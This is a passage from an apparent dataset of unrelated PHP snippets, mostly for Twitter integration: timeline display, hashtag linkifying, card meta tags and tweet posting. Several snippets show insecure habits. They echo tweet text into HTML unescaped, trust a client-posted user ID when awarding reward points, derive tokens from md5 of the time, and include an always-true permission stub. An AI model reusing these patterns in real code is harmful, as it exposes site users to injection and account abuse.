TRUE);\r\nforeach($string as $items)\r\n {\r\n echo \"Time and Date of Tweet: \".$items['created_at'].\"<br />\";\r\n echo \"Tweet: \". $items['text'].\"<br />\";\r\n echo \"Tweeted by: \". $items['user'][\"name\"].\"<br />\";\r\n echo \"Screen name: \". $items['user']['screen_name'].\"<br />\";\r\n echo \"Followers: \". $items['user']['followers_count'].\"<br />\";\r\n echo \"Friends: \". $items['user']['friends_count'].\"<br />\";\r\n echo \"Listed: \". $items['user']['listed_count'].\"<br /><hr />\";\r\n }\r\n}", "public function isSpam();", "public function checkTweetMessage($text)\n {\n $text = trim($text);\n\n if ($text == null)\n throw new EmptyTweet('A Tweet cannot be empty.');\n\n if (strlen($text) > self::TWEET_MAX_LENGTH)\n throw new TweetWithExceededCharacters('A Tweet may not exceed 280 characters in length.');\n }", "function TM_linkify($text, $entities, $retweet='')\n{\n $TextLength = mb_strlen($text); // Number of UTF-8 characters in plain tweet.\n\n for ($i = 0; $i < $TextLength; $i++)\n {\n $ch = mb_substr($text, $i, 1);\n if ($ch <> \"\\n\")\n $ChAr[] = $ch;\n else\n $ChAr[] = \"\\n<br/>\"; // Keep new lines in HTML tweet.\n }\n if (isset($entities['user_mentions']))\n foreach ($entities['user_mentions'] as $entity)\n {\n $ChAr[$entity['indices'][0]] = \"<a href='https://twitter.com/\" . $entity['screen_name'] . \"'>\" . $ChAr[$entity['indices'][0]];\n $ChAr[$entity['indices'][1] - 1] .= \"</a>\";\n }\n if (isset($entities['hashtags']))\n foreach ($entities['hashtags'] as $entity)\n {\n $ChAr[$entity['indices'][0]] = \"<a href='https://twitter.com/search?q=%23\" . $entity['text'] . \"'>\" . $ChAr[$entity['indices'][0]];\n $ChAr[$entity['indices'][1] - 1] .= \"</a>\";\n }\n if (isset($entities['urls']))\n foreach ($entities['urls'] as $entity)\n {\n $ChAr[$entity['indices'][0]] = \"<a href='\" . $entity['expanded_url'] . \"'>\" . $entity['display_url'] . \"</a>\";\n for ($i = $entity['indices'][0] + 1; $i < $entity['indices'][1]; $i++)\n $ChAr[$i] = '';\n }\n if (isset($entities['media']))\n foreach ($entities['media'] as $entity)\n {\n $ChAr[$entity['indices'][0]] = \"<a href='\" . $entity['expanded_url'] . \"'>\" . $entity['display_url'] . \"</a>\";\n for ($i = $entity['indices'][0] + 1; $i < $entity['indices'][1]; $i++)\n $ChAr[$i] = '';\n }\n $output = implode('', $ChAr); // HTML tweet.\n\n if ($retweet)\n {\n return 'RT <a href=\"https://twitter.com/'.$retweet.'\">@'.$retweet.'</a>: '.$output;\n } else {\n return $output;\n }\n}", "public function KiwiClickToTweetShortcode( $atts ) {\n\n\t\t$twitter_button = new Kiwi_Social_Share_Social_Button_Twitter();\n\t\t$atts['tweet'] = rtrim( $atts['tweet'] );\n\t\t$additional = '';\n\t\t$tracking_html = '';\n\n\t\t$twitter_handle = Kiwi_Social_Share_Helper::get_setting_value( 'twitter_username', '', 'kiwi_social_identities' );\n\t\t$tracking = Kiwi_Social_Share_Helper::get_setting_value( 'ga_tracking', '', 'kiwi_social_identities' );\n\t\tif ( ! empty( $twitter_handle ) ) {\n\t\t\t$additional = '&via=' . str_replace( '@', '', $twitter_handle );\n\t\t}\n\n\t\tif ( ! empty( $tracking ) ) {\n\t\t\t$tracking_html = ' data-tracking=\"true\" ';\n\t\t}\n\n\t\t$url = $twitter_button->get_current_page_url( get_the_ID() );\n\n\t\t$content = '<blockquote class=\"kiwi-click-to-tweet-content-area\"><a data-class=\"popup\" data-network=\"twitter\" class=\"kiwi-click-to-tweet-url\" href=\"//twitter.com/intent/tweet?url=' . esc_url( $url ) . '&text=' . urlencode( html_entity_decode( $atts['tweet'], ENT_COMPAT, 'UTF-8' ) ) . $additional . '\" rel=\"nofollow\" target=\"_blank\" ' . $tracking_html . '>';\n\t\t$content .= '<span class=\"kiwi-click-to-tweet\"><span class=\"kiwi-click-to-tweet-text\">' . $atts['quote'] . '</span><span class=\"kiwi-click-to-tweet-button\">' . __( 'Click To Tweet', 'kiwi-social-share' ) . '<i class=\"kicon-twitter\"></i></span></span>';\n\t\t$content .= '</a>';\n\t\t$content .= '</blockquote>';\n\n\t\treturn $content;\n\t}", "public function hasWeddingmsg(){\n return $this->_has(25);\n }", "function get_user_twitter_info()\n{\n\t$name = ( get_option('bb_opts_twitter_name') != '' ) ?\n\t\tget_option('bb_opts_twitter_name') :\n\t\tfalse;\n\t$count = ( get_option('bb_opts_twitter_count') != '' ) ?\n\t\t(int) get_option('bb_opts_twitter_count') :\n\t\tfalse;\t\n\t$output = ( $name && $count ) ?\n\t\t'{name:\"' . $name . '\",count:\"' . $count . '\"}' :\n\t\t'false';\n\t\n\treturn $output;\n}", "protected function biteTongueOnTwitter($phrase)\n {\n if (mb_strlen($this->whisper) <= 140) {\n return $this->whisper;\n }\n\n /**\n * We need to split by words and start removing characters from middle of word until we\n * get the worst-case length under 140. This will leave the word readable, hopefully.\n *\n * zalgo_len = phrase_len * (1 + 2 + 2)\n * pref_zalgo_len = (phrase_len - some_num_to_remove) * (1 + 2 + 2)\n * 140 = (35 - X) * 5\n * 140 / 5 = 35 - X\n * X = 35 - (140 / 5) = 7\n */\n\n $phraseLength = mb_strlen($phrase);\n $numberToRemove = (int) ceil(abs($phraseLength - (140 / 3)));\n $removed = 0;\n\n $words = preg_split('/\\s+/', $phrase);\n\n while ($removed < $numberToRemove) {\n foreach ($words as $index => $word) {\n if (mb_strlen($words[$index]) <= 3) {\n $removed++;\n continue;\n }\n\n // Remove a letter, at random, from the word.\n $words[$index] = substr_replace($words[$index], '', rand(1, mb_strlen($words[$index]) - 2), 1);\n $removed++;\n\n if ($removed == $numberToRemove) {\n break;\n }\n }\n }\n\n return $this->speaks(implode(' ', $words));\n }", "function sw_add_twitter_card($info) {\n\t\t\t\tif(is_singular()):\n\t\t\t\t\t// Check if Twitter Cards are Activated\n\t\t\t\t\tif($info['sw_user_options']['sw_twitter_card']):\n\t\t\t\t\t\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* YOAST SEO: It rocks, so let's coordinate with it\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\t\t\t\t\t\n\t\t\t\t\t\t// Check if Yoast Exists so we can coordinate output with their plugin accordingly\n\t\t\t\t\t\tif (defined('WPSEO_VERSION')):\n\n\t\t\t\t\t\t\t// Collect their Social Descriptions as backups if they're not defined in ours\n\t\t\t\t\t\t\t$yoast_twitter_title \t\t= get_post_meta( $info['postID'] , '_yoast_wpseo_twitter-title' , true );\n\t\t\t\t\t\t\t$yoast_twitter_description \t= get_post_meta( $info['postID'] , '_yoast_wpseo_twitter-description' , true );\n\t\t\t\t\t\t\t$yoast_twitter_image \t\t= get_post_meta( $info['postID'] , '_yoast_wpseo_twitter-image' , true );\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Collect their SEO fields as 3rd string backups in case we need them\n\t\t\t\t\t\t\t$yoast_seo_title\t\t\t= get_post_meta( $info['postID'] , '_yoast_wpseo_title' , true );\n\t\t\t\t\t\t\t$yoast_seo_description\t\t= get_post_meta( $info['postID'] , '_yoast_wpseo_metadesc' , true );\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Cancel their output if ours have been defined so we don't have two sets of tags\n\t\t\t\t\t\t\tremove_action( 'wpseo_head' , array( 'WPSEO_Twitter' , 'get_instance' ) , 40 );\n\t\t\t\t\t\t\n\t\t\t\t\t\tendif;\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* JET PACK: If ours are activated, disable theirs\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ( class_exists( 'JetPack' ) ) :\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tadd_filter( 'jetpack_disable_twitter_cards', '__return_true', 99 );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tendif;\t\t\t\t\n\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* TWITTER TITLE\t\t\t\t\t\t\t\t\t\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\t\t\t\t\t\t\n\t\t\t\t\t\t// If the user defined a Social Media title, use it, otherwise check for Yoast's\n\t\t\t\t\t\tif(!$info['title'] && isset($yoast_twitter_title) && $yoast_twitter_title):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t$info['title'] = $yoast_twitter_title;\n\t\t\t\t\t\t\n\t\t\t\t\t\t// If not title has been defined, let's check the SEO description as a 3rd string option\n\t\t\t\t\t\telseif(!$info['title'] && isset($yoast_seo_title) && $yoast_seo_title):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t$info['title'] = $yoast_seo_title;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t// If not title has been defined, let's use the post title\n\t\t\t\t\t\telseif(!$info['title']):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t$info['title'] = convert_smart_quotes(htmlspecialchars_decode( get_the_title() ));\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tendif;\n\t\t\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* TWITTER DESCRIPTION\t\t\t\t\t\t\t\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Open Graph Description\n\t\t\t\t\t\tif(!$info['description'] && isset($yoast_twitter_description) && $yoast_twitter_description):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t$info['description'] = $yoast_twitter_description;\n\t\t\t\t\t\t\n\t\t\t\t\t\t// If not title has been defined, let's check the SEO description as a 3rd string option\n\t\t\t\t\t\telseif(!$info['description'] && isset($yoast_seo_description) && $yoast_seo_description):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t$info['description'] = $yoast_seo_description;\n\t\t\t\t\t\t\n\t\t\t\t\t\t// If not, then let's use the excerpt\n\t\t\t\t\t\telseif(!$info['description']):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t$info['description'] = convert_smart_quotes(htmlspecialchars_decode( sw_get_excerpt_by_id( $info['postID'] )) );\n\t\t\t\t\t\t\n\t\t\t\t\t\tendif;\n\t\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* TWITTER IMAGE\t\t\t\t\t\t\t\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t// Open Graph Description\n\t\t\t\t\t\tif(!$info['imageURL'] && isset($yoast_twitter_image) && $yoast_twitter_image):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t$info['imageURL'] = $yoast_twitter_image;\n\t\t\t\t\t\t\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\n\t\t\t\t\t\t// If nothing else is defined, let's use the post Thumbnail as long as we have the URL cached\n\t\t\t\t\t\t\t$twitter_image = get_post_meta( $info['postID'] , 'sw_open_thumbnail_url' , true );\n\t\t\t\t\t\t\tif($twitter_image):\n\t\t\t\t\t\t\t\t$info['imageURL'] = $twitter_image;\n\t\t\t\t\t\t\tendif;\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\tendif;\n\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* PUT IT ALL TOGETHER\t\t\t\t\t\t \t\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Check if we have everything we need for a large image summary card\n\t\t\t\t\t\tif($info['imageURL']):\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta name=\"twitter:card\" content=\"summary_large_image\">';\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta name=\"twitter:title\" content=\"'.$info['title'].'\">';\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta name=\"twitter:description\" content=\"'.$info['description'].'\">';\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta name=\"twitter:image\" content=\"'.$info['imageURL'].'\">';\n\t\t\t\t\t\t\tif($info['sw_user_options']['twitterID']):\n\t\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta name=\"twitter:site\" content=\"@'.$info['sw_user_options']['twitterID'].'\">';\n\t\t\t\t\t\t\tendif;\n\t\t\t\t\t\t\tif($info['user_twitter_handle']):\n\t\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta name=\"twitter:creator\" content=\"@'.str_replace('@','',$info['user_twitter_handle']).'\">';\n\t\t\t\t\t\t\tendif;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t// Otherwise create a small summary card\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta name=\"twitter:card\" content=\"summary\">';\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta name=\"twitter:title\" content=\"'.str_replace('\"','\\'',$info['title']).'\">';\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta name=\"twitter:description\" content=\"'.str_replace('\"','\\'',$info['description']).'\">';\n\t\t\t\t\t\t\tif($info['sw_user_options']['twitterID']):\n\t\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta name=\"twitter:site\" content=\"@'.$info['sw_user_options']['twitterID'].'\">';\n\t\t\t\t\t\t\tendif;\n\t\t\t\t\t\t\tif($info['user_twitter_handle']):\n\t\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta name=\"twitter:creator\" content=\"@'.str_replace('@','',$info['user_twitter_handle']).'\">';\n\t\t\t\t\t\t\tendif;\n\t\t\t\t\t\tendif;\n\t\t\t\t\t\t\t\n\t\t\t\t\tendif;\n\t\t\t\tendif;\n\t\t\t\treturn $info;\n\t\t\t}", "public function run()\n {\n for ($i=1; $i < 202; $i++) { \n $tweets = rand(5, 15);\n\n for ($j=0; $j < $tweets; $j++) { \n $tweet_length = rand(3, 15); \n $tweet = new Tweet();\n $tweet->text = $this->makeTweet($tweet_length);\n $tweet->user_id = $i;\n $tweet->save();\n\n while (count($this->privateTags) > 0) {\n $tweet->hashTags()->save(array_pop($this->privateTags));\n }\n }\n \n }\n }", "function wcs_twitter_make_links($status)\n{\n\n\t// convert #hashtags\n\t$status = preg_replace('/\\#([a-z0-9_]+)/i', '<a href=\"http://twitter.com/search?q=%23$1\">#$1</a>', $status);\n\t// convert @mention\n\t$status = preg_replace('/\\@([a-z0-9_]+)/i', '<a href=\"http://twitter.com/$1\">@$1</a>', $status);\n\t// normal links\n\t$status = make_clickable($status);\n\t// force all links to open in a new tab/window\n\t$status = popuplinks($status);\n\n\t// exit\n\treturn $status;\n}", "public function can_post($forum, &$whynot, $userid=0) {\n return true;\n }", "public function syncTwitterTimeLine($username,$count){\n //Define response array\n $response = array(\n \"success\" => false,\n \"message\" => \"\",\n \"data\"=>array()\n );\n \n $user = User::where(\"username\",\"=\",$username)->first();\n //Checking if user exist in database\n if( !$user instanceof User){\n $response[\"message\"] = trans(\"app.user_no_exist\");\n return Response::json($response);\n }\n \n //Api rest user_timeline parameters\n $parameters = array(\n 'screen_name' => substr($user->twitter_account, 1),\n 'count' => $count\n );\n \n //Get last tweet from database for syncronization\n $last_tweet = $user->get_last_tweet();\n if( $last_tweet ){\n //Append parameter since\n $parameters['since_id'] = $last_tweet->tw_id;\n }\n \n \n //Get form Twitter API, the last tweet since local tweet saved.\n try {\n $tweets = Twitter::getUserTimeline($parameters);\n } catch (Exception $e) {\n $response[\"message\"] = $e->getMessage();\n return Response::json($response);\n }\n\n //If have new tweets, add in database\n if( count($tweets )){\n foreach($tweets as $tweet){\n $tweet_entry = new Tweet;\n $tweet_entry->tw_id = $tweet->id_str;\n $tweet_entry->tw_text = $tweet->text;\n $tweet_entry->tw_name = $tweet->user->name;\n $tweet_entry->tw_screen_name = $tweet->user->screen_name;\n $tweet_entry->tw_profile_image_url = $tweet->user->profile_image_url;\n $tweet_entry->tw_created_at = strtotime($tweet->created_at);\n $tweet_entry->user_id = $user->id;\n $tweet_entry->is_hidden = 0;\n $tweet_entry->time_created = \\time();\n $tweet_entry->save();\n \n $response[\"data\"][$tweet_entry->tw_id] = $tweet_entry->toArray();\n }\n }\n //Fix order for HTML list in view\n ksort($response[\"data\"]);\n \n //Return JSON response with new new tweet, for display\n $response[\"message\"] = trans(\"app.loaded_new_tweets\",array(\"count\"=>count($tweets )));\n $response[\"total\"] = count($tweets);\n $response[\"success\"] = true;\n return Response::json($response);\n }", "public static function default_site_tweets($tweet_count = 5, $retweets = false) {\n $user = get_theme_mod('bjc_twitter_username', 'WordPress');\n $my_tweets = EXT_Tweets::factory()\n ->set_transient_name('default-tweets')\n ->set_api_request_url('http://api.twitter.com/1/statuses/user_timeline.json?count=' . $tweet_count . '&screen_name=' . $user . '&include_rts=' . $retweets . 'false')\n ->load_tweets();\n echo $my_tweets->display_tweets();\n }", "private static function getRandomTweets(Bot $bot)\n {\n // Setting OAuth parameters\n self::setOAuth($bot);\n\n // From hardcoded interesting users\n $interesting = Collection::make($bot->interestingUsers);\n\n // Some from the DB (the suggested ones), merging and picking one\n $rows = User::getSuggested($bot);\n $suggested = collect($rows)->pluck('screen_name');\n\n // Getting tweets from account\n $target = $interesting->merge($suggested)->unique()->random();\n if ($tweets = self::runRequest($bot, 'getUserTimeline', ['screen_name' => $target])) {\n\n // cleanning empty tweets\n foreach ($tweets as &$tweet) {\n if (empty($tweet['status'])) {\n unset($tweet);\n }\n }\n\n return $tweets;\n }\n }", "public function should_run()\n\t{\n\t\treturn $this->config['delete_pms_last_gc'] < time() - $this->config['delete_pms_gc'];\n\t}", "function lc_shortcode_twitter($atts, $content = null) {\n \tglobal $post;\n \textract(shortcode_atts(array(\t'url' => '',\n \t\t\t\t\t\t\t\t\t'style' => '',\n \t\t\t\t\t\t\t\t\t'source' => '',\n \t\t\t\t\t\t\t\t\t'text' => '',\n \t\t\t\t\t\t\t\t\t'related' => '',\n \t\t\t\t\t\t\t\t\t'lang' => '',\n \t\t\t\t\t\t\t\t\t'float' => 'left',\n \t\t\t\t\t\t\t\t\t'use_post_url' => 'false',\n \t\t\t\t\t\t\t\t\t'recommend' => '',\n \t\t\t\t\t\t\t\t\t'hashtag' => '',\n \t\t\t\t\t\t\t\t\t'size' => '',\n \t\t\t\t\t\t\t\t\t ), $atts));\n\t$output = '';\n\n\tif ( $url )\n\t\t$output .= ' data-url=\"' . esc_url( $url ) . '\"';\n\n\tif ( $source )\n\t\t$output .= ' data-via=\"' . esc_attr( $source ) . '\"';\n\n\tif ( $text )\n\t\t$output .= ' data-text=\"' . esc_attr( $text ) . '\"';\n\n\tif ( $related )\n\t\t$output .= ' data-related=\"' . esc_attr( $related ) . '\"';\n\n\tif ( $hashtag )\n\t\t$output .= ' data-hashtags=\"' . esc_attr( $hashtag ) . '\"';\n\n\tif ( $size )\n\t\t$output .= ' data-size=\"' . esc_attr( $size ) . '\"';\n\n\tif ( $lang )\n\t\t$output .= ' data-lang=\"' . esc_attr( $lang ) . '\"';\n\n\tif ( $style != '' ) {\n\t\t$output .= 'data-count=\"' . esc_attr( $style ) . '\"';\n\t}\n\n\tif ( $use_post_url == 'true' && $url == '' ) {\n\t\t$output .= ' data-url=\"' . get_permalink( $post->ID ) . '\"';\n\t}\n\n\t$output = '<div class=\"woo-sc-twitter ' . esc_attr( $float )\n . '\"><a href=\"' . esc_url( 'https://twitter.com/share' )\n . '\" class=\"twitter-share-button\"'. $output .'>'\n . __( 'Tweet', 'woothemes' )\n . '</a><script type=\"text/javascript\" src=\"'\n . esc_url ( 'https://platform.twitter.com/widgets.js' )\n . '\"></script></div>';\n\treturn $output;\n\n}", "public function save_new_tweets($tweets)\n {\n if($this->is_connected($this->connection)) {\n foreach($tweets as $tweet) {\n $insert_query = \"INSERT INTO `Tweets`(`twitter_id`, `text`, `algo_score`, `has_algo_score`, `baseline_score`, `has_baseline_score`, `is_sanitized`)\n VALUES (?, ?, ?, ?, ?, ?, ?)\";\n\n $prepared_query = mysqli_prepare($this->connection, $insert_query);\n if(!$prepared_query) {\n die(\"Mysqli error:\" . mysql_error($this->connection));\n }\n\n //Bind the parameters into the query\n mysqli_stmt_bind_param($prepared_query, 'sssssss', $tweet[\"twitter_id\"], $tweet[\"text\"], $tweet[\"algo_score\"], $tweet[\"has_algo_score\"], $tweet[\"baseline_score\"], $tweet[\"has_baseline_score\"], $tweet[\"is_sanitized\"]);\n\n //Run the query\n mysqli_execute($prepared_query) or die(mysqli_error($this->connection));\n }\n return true;\n } \n return false;\n }", "private function tweet($event) {\n\n $city = City::where('id','=',$event->city_id)->first();\n $title = $event->title;\n $date = date('d/m/y', strtotime($event->time_start));\n $time = date('g.ia', strtotime($event->time_start));\n $venue = explode(\",\", $event->venue)[0];\n $link = route('{city}.events.show', ['city' => $city->iata, 'slug' => $event->slug]);\n $status = $title . ' - ' . $date . ' - '. $time .' at '. $venue . '. ' . $link;\n\n Twitter::reconfig([\n 'consumer_key' => $city->twitter_consumer_key,\n 'consumer_secret' => $city->twitter_consumer_secret,\n 'token' => $city->twitter_access_token,\n 'secret' => $city->twitter_access_token_secret\n ]);\n\n Twitter::postTweet(array('status' => $status, 'format' => 'json'));\n Log::info($status);\n }", "function tickWatchdog($depth = null)\n {\n $things = $this->getThings(\"cron\");\n\n if ($things == null) {\n $this->response .= \"No ticks found. \";\n return true;\n }\n\n // // devstack.\n // $test = $thing->variables['test'];\n // //$test = $thing['variables']['test'];\n\n $refreshed_at = [];\n foreach ($things as $uuid => $thing) {\n $refreshed_at[$uuid] = $thing->variables[\"cron\"][\"refreshed_at\"];\n }\n array_multisort($refreshed_at, SORT_DESC, $things);\n\n $age = 1e99;\n\n if (isset($things[0]->variables[\"cron\"][\"refreshed_at\"])) {\n // $age = 1e99;\n $refreshed_at = $things[0]->variables[\"cron\"][\"refreshed_at\"];\n $age = strtotime($this->current_time) - strtotime($refreshed_at);\n }\n\n $tick_limit_seconds = 60;\n if ($age > $tick_limit_seconds) {\n $thing = new Thing(null);\n // Document as $thing->Create('to', 'from', 'message text')\n $thing->Create(\n \"human\",\n \"watchdog\",\n \"Watchdog barked. It has been quiet since \" . $age\n );\n $thing->thing_report[\"sms\"] = \"merp\";\n $web = \"\";\n $web .= \"This number was made about ago.\";\n\n $web .= \"<br>\";\n\n $thing->thing_report[\"email\"] = $web;\n\n $message_thing = new Message($thing, $thing->thing_report);\n $this->thing_report[\"info\"] = $message_thing->thing_report[\"info\"];\n\n $this->response .=\n \"Did not see a tick within the last \" .\n $tick_limit_seconds .\n \". \";\n }\n }", "public static function update_reward_points_for_twitter_tweet() {\n $userid = get_current_user_id();\n global $wpdb;\n $table_name = $wpdb->prefix . 'rspointexpiry'; \n $banning_type = FPRewardSystem::check_banning_type($userid);\n if ($banning_type != 'earningonly' && $banning_type != 'both') {\n if (get_option('timezone_string') != '') {\n $timezonedate = date_default_timezone_set(get_option('timezone_string'));\n } else {\n $timezonedate = date_default_timezone_set('UTC');\n }\n\n if (isset($_POST['state']) && ($_POST['postid']) && ($_POST['currentuserid'])) {\n $getregularprice = RSFunctionForSavingMetaValues::rewardsystem_get_post_meta($_POST['postid'], '_regular_price');\n $postid = $_POST['postid'];\n $currentuserid = $_POST['currentuserid']; \n $getarrayids[] = $_POST['postid'];\n $oldoption = RSFunctionForSavingMetaValues::rewardsystem_get_user_meta($_POST['currentuserid'], '_rstwittertweet');\n if (!empty($oldoption)) {\n if (!in_array($_POST['postid'], $oldoption)) {\n $mergedata = array_merge((array) $oldoption, $getarrayids);\n RSFunctionForSavingMetaValues::rewardsystem_update_user_meta($_POST['currentuserid'], '_rstwittertweet', $mergedata);\n if ($_POST['state'] == 'on') {\n $checklevel = self::checklevel_for_twitter_tweet($postid);\n $orderid = '0';\n $totalearnedpoints = '0';\n $totalredeempoints= '0';\n $pointsredeemed = '0';\n $reasonindetail= '';\n self::rs_insert_twitter_tweet_points($pointsredeemed,$getregularprice,$postid, $checklevel,$currentuserid,$orderid,$totalearnedpoints,$totalredeempoints,$reasonindetail); \n }\n }else {\n _e('You already Tweet this post', 'rewardsystem');\n }\n }else {\n RSFunctionForSavingMetaValues::rewardsystem_update_user_meta($_POST['currentuserid'], '_rstwittertweet', $getarrayids);\n if ($_POST['state'] == 'on') {\n $checklevel = self::checklevel_for_facebook_like($postid);\n $orderid = '0';\n $totalearnedpoints = '0';\n $totalredeempoints= '0';\n $pointsredeemed = '0';\n $reasonindetail= '';\n self::rs_insert_twitter_tweet_points($pointsredeemed,$getregularprice,$postid, $checklevel,$currentuserid,$orderid,$totalearnedpoints,$totalredeempoints,$reasonindetail); \n }\n } \n echo \"Ajax Call Successfully Triggered\"; \n }\n do_action('fp_reward_point_for_twitter_tweet');\n exit();\n }\n }", "public function hasPostAuthentication()\n {\n return isset($this->sessionStorage->user['twofactor_activated']) && $this->sessionStorage->user['twofactor_activated'] === true;\n }", "public static function tweetInspire(Bot $bot)\n {\n // Setting OAuth parameters\n self::setOAuth($bot);\n\n $quote = Quote::last();\n $tweet = $quote->text . ' — ' . $quote->author;\n\n // Don't tweet if it's too long\n if (strlen($tweet) > 140) {\n return;\n }\n\n \\Log::info('[' . $bot->screen_name . '] Tweeting quote : ' . $tweet);\n self::runRequest($bot, 'postTweet', ['status' => html_entity_decode($tweet)]);\n }", "function has_message($type)\n{\n if (isset($_SESSION[$type], $_SESSION[$type . '_time'])) {\n $old_time = $_SESSION[$type . '_time'];\n if ((time() - $old_time) < 3) {\n return true;\n } else {\n unset($_SESSION[$type], $_SESSION[$type . '_time']);\n }\n\n return false;\n }\n\n return false;\n}", "public function tweet(Request $request)\n {\n $this->validate($request, [\n 'tweet' => 'required'\n ]);\n\n\n $newTwitte = ['status' => $request->tweet];\n\n\n if(!empty($request->images)){\n foreach ($request->images as $key => $value) {\n $uploaded_media = Twitter::uploadMedia(['media' => File::get($value->getRealPath())]);\n if(!empty($uploaded_media)){\n $newTwitte['media_ids'][$uploaded_media->media_id_string] = $uploaded_media->media_id_string;\n }\n }\n }\n\n\n $twitter = Twitter::postTweet($newTwitte);\n\n\n return back();\n }", "protected function renderPostTweet(){\n return '<form action=\"'.Router::urlFor('send').'\" method=\"post\">\n <textarea placeholder=\"Écrivez votre tweet...\" id=\"tweet-form\" name=\"text\", maxlength=\"150\"></textarea>\n <div>\n <input id=\"send_button\" type=\"submit\" name=\"send\" value=\"Envoyer\">\n </div>\n </form>'; \n }", "public function twitch()\n {\n return Helper::text('410 Gone - This feed (/lever/twitch) has been removed.', 410);\n }", "public function tweetsAction()\n {\n $blacklist = array('348182244243939328', '348170109648519168', '348169956657082368');\n $tweets = array();\n try {\n $relative_filename = __DIR__ . '/../../../../web/uploads/twitter.json';\n $filename = realpath($relative_filename);\n if (!$filename) {\n touch($relative_filename);\n $filename = realpath($relative_filename);\n }\n /*if (!$this->getRequest()->isXmlHttpRequest()) {\n $tweets = json_decode(file_get_contents($filename), true);\n } else {*/\n $twitter = $this->get('twitter');\n //$result = $twitter->get('search.json?q=snwcp&rpp='. $this->container->getParameter('twitter_limit') .'&');\n $mentions = $twitter->get('statuses/mentions_timeline');\n\n if (count($mentions) > 0) {\n foreach ($mentions as $tweet) {\n if (in_array($tweet->id, $blacklist)) {\n continue;\n }\n $date = new \\DateTime($tweet->created_at);\n $tweets[$date->format('U')] = array(\n 'date' => $date->format('U'),\n 'text' => $tweet->text,\n 'from_user' => $tweet->user->name,\n 'from_username' => $tweet->user->screen_name,\n );\n }\n }\n\n $timeline = $twitter->get('statuses/user_timeline');\n if (count($timeline) > 0) {\n foreach ($timeline as $tweet) {\n if (in_array($tweet->id, $blacklist)) {\n continue;\n }\n $date = new \\DateTime($tweet->created_at);\n $tweets[$date->format('U')] = array(\n 'date' => $date->format('U'),\n 'text' => $tweet->text,\n 'from_user' => $tweet->user->name,\n 'from_username' => $tweet->user->screen_name,\n );\n }\n }\n\n\n if (count($tweets) > 0) {\n krsort($tweets);\n file_put_contents($filename, json_encode($tweets));\n } else {\n $tweets = json_decode(file_get_contents($filename), true);\n }\n //}\n } catch(\\Exception $e) {\n error_log($e);\n }\n\n return array('tweets' => $tweets);\n }", "public static function getDiscordShouldSend() {\n $db = Database::getInstance();\n $cmd = $db->prepare('SELECT needs_send, last_time FROM discord_webhooks LIMIT 1');\n $cmd->execute();\n \n $row = $cmd->fetch(PDO::FETCH_ASSOC);\n \n if ($row[\"last_time\"] == null) {\n return true;\n }\n \n return $row[\"needs_send\"] ? $row[\"last_time\"] : false;\n }", "private function createToken()\n {\n $this->token = md5(time().uniqid());\n return true;\n }", "function get_post_statuses()\n {\n }", "function printTweets($settings, $name)\r\n{\r\n$url = \"https://api.twitter.com/1.1/search/tweets.json\";\r\n$requestMethod = \"GET\";\r\n$getfield = \"?q=\".$name;\r\n$twitter = new TwitterAPIExchange($settings);\r\n$string = json_decode($twitter->setGetfield($getfield)\r\n->buildOauth($url, $requestMethod)\r\n->performRequest(),$assoc = TRUE);\r\nif($string[\"errors\"][0][\"message\"] != \"\") {echo \"<h3>Sorry, there was a problem.</h3><p>Twitter returned the following error message:</p><p><em>\".$string[errors][0][\"message\"].\"</em></p>\";exit(); }\r\n\r\necho \"<h1><u>\" . \"Search tweets of \" . $name . \"</u></h1>\";\r\necho \"<br>\";\r\n$i = 0;\r\nforeach($string[\"statuses\"] as $items)\r\n{\r\n$i++;\r\necho \"<u>Number : \" . 